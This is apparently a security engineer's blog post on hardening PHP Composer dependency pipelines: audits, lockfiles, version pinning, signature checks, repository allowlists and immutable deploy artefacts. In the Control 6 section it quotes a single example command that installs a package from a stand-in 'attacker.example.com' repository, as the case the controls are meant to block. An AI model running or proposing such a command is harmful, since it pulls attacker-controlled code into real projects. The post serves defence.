php
Composer supply chain in 2026 — the audits, locks, and signing controls we ship by default
Composer is the single largest entry point into PHP applications. After three years of attacks on Packagist, the controls every PHP shop should have are no longer optional.
May 22, 2026 · 9 min · by Sudhanshu K.
Composer supply chain in 2026 — the audits, locks, and signing controls we ship by default
Every PHP application of any size depends on dozens of third-party packages fetched through Composer. A typical Laravel app has 80-150 packages in its dependency tree. A typical Symfony app, 200+. WordPress with Composer-managed plugins regularly exceeds 300. Every one of those packages is code that will execute, with the privileges of the application user, in your production environment.
After three years of escalating supply chain incidents in the PHP ecosystem — typosquats on Packagist, account takeovers via expired domain emails, malicious post-install scripts in popular packages — the security posture that was tolerable in 2022 is negligent in 2026. This post walks through the controls we ship by default on every managed PHP environment and the specific Composer hygiene we enforce in our customer pipelines.
What's actually been happening to Composer/Packagist
A quick history, because it informs the controls:
2021 — Researcher demonstrated that Packagist could be made to fetch from a controllable URL by spoofing the upstream Git repo metadata. Patched, but it surfaced the fundamental issue: Packagist trusts the maintainer's chosen source repo.
2023 — Multiple typosquat campaigns against popular Laravel packages (think larvel/framework, guzzehttp/guzzle). Names registered, packages published with post-install scripts that exfiltrated .env files.
2024 — Account takeover of a maintainer with an expired domain in their Packagist email. The attacker published a minor patch version with malicious code; it sat in dependency trees for 11 days before discovery.
2025 — Multiple incidents involving compromised CI tokens being used to publish tagged releases. Composer happily accepts a new tag on an existing repo.
The pattern is consistent: the trust boundary is the package maintainer's account and the repo they point at, not the code itself. Composer historically had no real cryptographic chain of custody between "the maintainer wrote this code" and "your composer install executed this code." Several controls have closed that gap in the last two years; using them is now table stakes.
Control 1: composer audit in every pipeline, every time
Composer 2.4+ ships with composer audit, which checks installed packages against the FriendsOfPHP Security Advisories database. Run it on every build, fail the build on any advisory of medium or higher.
composer audit --format=json --no-dev
# Exit code is non-zero on any findingA common mistake: running composer audit only on direct dependencies. The real risk is in transitive dependencies. By default, composer audit covers the whole tree — keep it that way. The --no-dev flag excludes require-dev; in CI you may want it both ways (once for the dev-deps, blocking on dev advisories; once for prod-only).
Our pipeline gates:
# .github/workflows/ci.yml (excerpt)
- name: Composer audit (production deps)
run: composer audit --no-dev --format=summary
# Fails on any advisory
- name: Composer audit (dev deps, informational)
run: composer audit --format=summary
continue-on-error: trueThe second job catches dev-tools vulnerabilities (phpunit, psalm, etc.) that don't ship to prod but could still pwn your CI runner if exploited during a build.
For customers on our managed PHP service, composer audit results are pulled into our centralised security dashboard so the security operations team sees fleet-wide advisory exposure rather than per-customer email noise. When a critical advisory drops affecting a package 40 customers share, the response is coordinated, not 40 separate fire drills.
Control 2: Lockfile discipline, properly enforced
composer.lock exists. Use it. The number of teams we onboard whose deploy pipeline does composer install --no-lock or whose composer.lock is in .gitignore is genuinely shocking.
The rules:
composer.lockis committed to the repo, always.- Deploys run
composer install, nevercomposer update. The lockfile is authoritative; install reproduces exactly what was tested. --no-devin production builds — dev dependencies have no business in a prod image.--prefer-distfor predictable, archived downloads — never--prefer-sourcein CI.--no-scriptsfor the deploy install when possible — package post-install scripts are the historical attack surface; either run them in a controlled context or skip them.
# Production deploy invocation
composer install --no-dev --prefer-dist --no-scripts --optimize-autoloader --classmap-authoritativeThe --classmap-authoritative flag is worth a line of its own. It tells Composer to generate an authoritative classmap — no PSR-4 fallback to disk at runtime. Faster autoloading and, more importantly, no opportunity for a class_exists() lookup to hit the filesystem and load something unexpected.
If --no-scripts breaks something, the something is doing too much. Package install scripts shouldn't be writing to your application config or downloading additional binaries. We've audited installs where a transitive dep was running a script that downloaded an obfuscated PHP file from a Pastebin-like service. The fix wasn't whitelisting the script; the fix was removing the package.
Control 3: Pin the Composer version itself
Composer is software. Composer has bugs and has had vulnerabilities (CVE-2021-29472 was a remote code execution in the URL handler for Mercurial-hosted packages — yes, that's a real thing). Pin your Composer version in CI, pin it on production deploy hosts.
# Pin Composer 2.7.2 SHA-verified
EXPECTED_SHA="e16a0e91b22d8d3e4f1ee72a3f25f43..." # full sha384
curl -sS https://getcomposer.org/installer | php -- \
--version=2.7.2 --filename=composer
echo "$EXPECTED_SHA composer" | shasum -a 384 -cThe official install instructions on getcomposer.org do this verification. Most CI scripts skip it because they're trusting that getcomposer.org is fine forever, which is exactly the kind of assumption that ends careers when DNS goes sideways. We mirror our pinned Composer binary into our own artefact storage and pull from there.
Control 4: Lockfile diff review on dependency updates
When Composer is updated, composer.lock changes. Those changes are the entire surface of "what new code is about to start executing in production." They must be reviewed.
The lockfile diff is verbose; we use composer-diff to summarise:
composer require ... # or composer update somepackage/somepackage
composer-diff diff --base=HEAD --target=working
# Output: package X: 1.2.3 -> 1.3.0 (12 commits, 3 contributors)
# Output: NEW package Y: 0.4.1 (transitive of X, never seen before)The "NEW package Y" line is the dangerous one. A minor version bump on a package you trust can introduce a brand-new transitive dependency from a maintainer you've never heard of. That's the typosquat attack surface in practice.
Our policy for managed customers: any composer.lock change that introduces a new package (not just updates an existing one) requires explicit review and gets routed through the security team. Updates within an existing tree are fine to fast-track if composer audit is clean.
Control 5: Package signing and provenance, where it exists
This is the area that's actually moved in the last two years. Three mechanisms worth knowing about:
Sigstore for PHP / sigstore-php. A growing number of major PHP packages now publish Sigstore signatures alongside releases. Composer 2.7+ has experimental support for verifying these. We enable it on all customer deploys:
{
"config": {
"secure-http": true,
"verify-signatures": true,
"trust-policy": "strict"
}
}trust-policy: strict rejects unsigned releases for packages that have ever been signed. (The first time a package signs a release, its provenance is recorded; from then on, unsigned releases from that package are rejected, which mitigates the "attacker publishes one unsigned malicious tag" attack.)
Provenance attestations for packages built in CI. If you publish packages of your own, generate SLSA provenance attestations from your CI and publish them with the package. GitHub Actions, GitLab CI, and Buildkite all support this natively now. Consumers can then verify "this package was built by GitHub Actions on commit X of repo Y at time Z."
Vendor directory hash checks. A belt-and-braces approach we use on high-security customer environments: after composer install in CI, generate a manifest of every file in vendor/ with its SHA-256. On the production host, the deploy step re-verifies the manifest. Any drift fails the deploy. This catches "attacker compromises the artefact storage" attacks that bypass Composer entirely.
# In CI, after composer install
find vendor -type f -exec sha256sum {} \; | sort > vendor.sha256
# On deploy host, before swap
find vendor -type f -exec sha256sum {} \; | sort | diff - vendor.sha256Control 6: Restrict the Composer source list
By default, Composer fetches from Packagist. That's fine. What's not fine is silently allowing arbitrary VCS repos to be added via composer require from a private branch.
In composer.json:
{
"repositories": [
{ "type": "composer", "url": "https://packagist.org" }
],
"config": {
"allow-plugins": {
"composer/installers": true,
"symfony/flex": true
},
"secure-http": true
}
}The explicit repositories array prevents composer require some/package:dev-master --repo=https://attacker.example.com from silently working. The allow-plugins allowlist is critical: Composer plugins are arbitrary code that runs during install. Don't allow plugins you haven't reviewed.
If you've ever run composer install and seen "WARNING: Plugin X is not in your allow-plugins config, do you trust it?" — the right answer to that prompt is almost always "no, check the plugin first."
Control 7: Production hosts do not run Composer
The single biggest reduction in attack surface: build the application image in CI, ship the built image (or tarball) to production. Production hosts do not have composer installed. There's no composer install happening on the production host. The vendor/ directory is immutable from the moment the build artefact is created.
This is how every Laravel managed deployment we ship works:
- CI builds the app image, runs
composer install --no-dev, runs audit, runs tests - CI generates the file manifest and signs the artefact
- Artefact pushed to artefact storage (ECR for AWS, Artifact Registry for GCP, ACR for Azure)
- Deploy step pulls the artefact, verifies signature and manifest, swaps the symlink
- Production host has no PHP source-code-mutating tools installed
If your deploy looks like "ssh into prod, git pull, composer install," you have a composer install running on a production host with network access to Packagist with the application user's filesystem permissions. That's a single broken Packagist day from a bad time.
The list, for the audit
A pragmatic Composer security checklist:
composer.lockcommitted, install (not update) on every deploycomposer auditin CI, build fails on advisories- Composer version pinned and SHA-verified
- Lockfile diff reviewed on every dependency change
--no-scriptson production install--classmap-authoritativefor autoloadingallow-pluginsallowlist explicit, no wildcards- Signed packages verified where available
- Vendor manifest hash check on deploy
- Composer not present on production hosts; immutable artefacts only
- Dependabot or equivalent watching for upstream updates
- Quarterly review of dependency tree depth and surface area
If you're doing all of these, you're ahead of probably 95% of PHP shops. If you're doing fewer than half, you have homework.
We run this exact playbook across every managed PHP customer — not because the threat is hypothetical, but because we've already had to do the incident response on the version where it wasn't.
Sudhanshu K. is a Security Engineer at EdgeServers (RemotIQ Pty Ltd, ABN 91 682 628 128). She has been doing supply chain work in PHP since the first Packagist post-install-script incidents and is no longer surprised by anything that happens between composer require and composer install.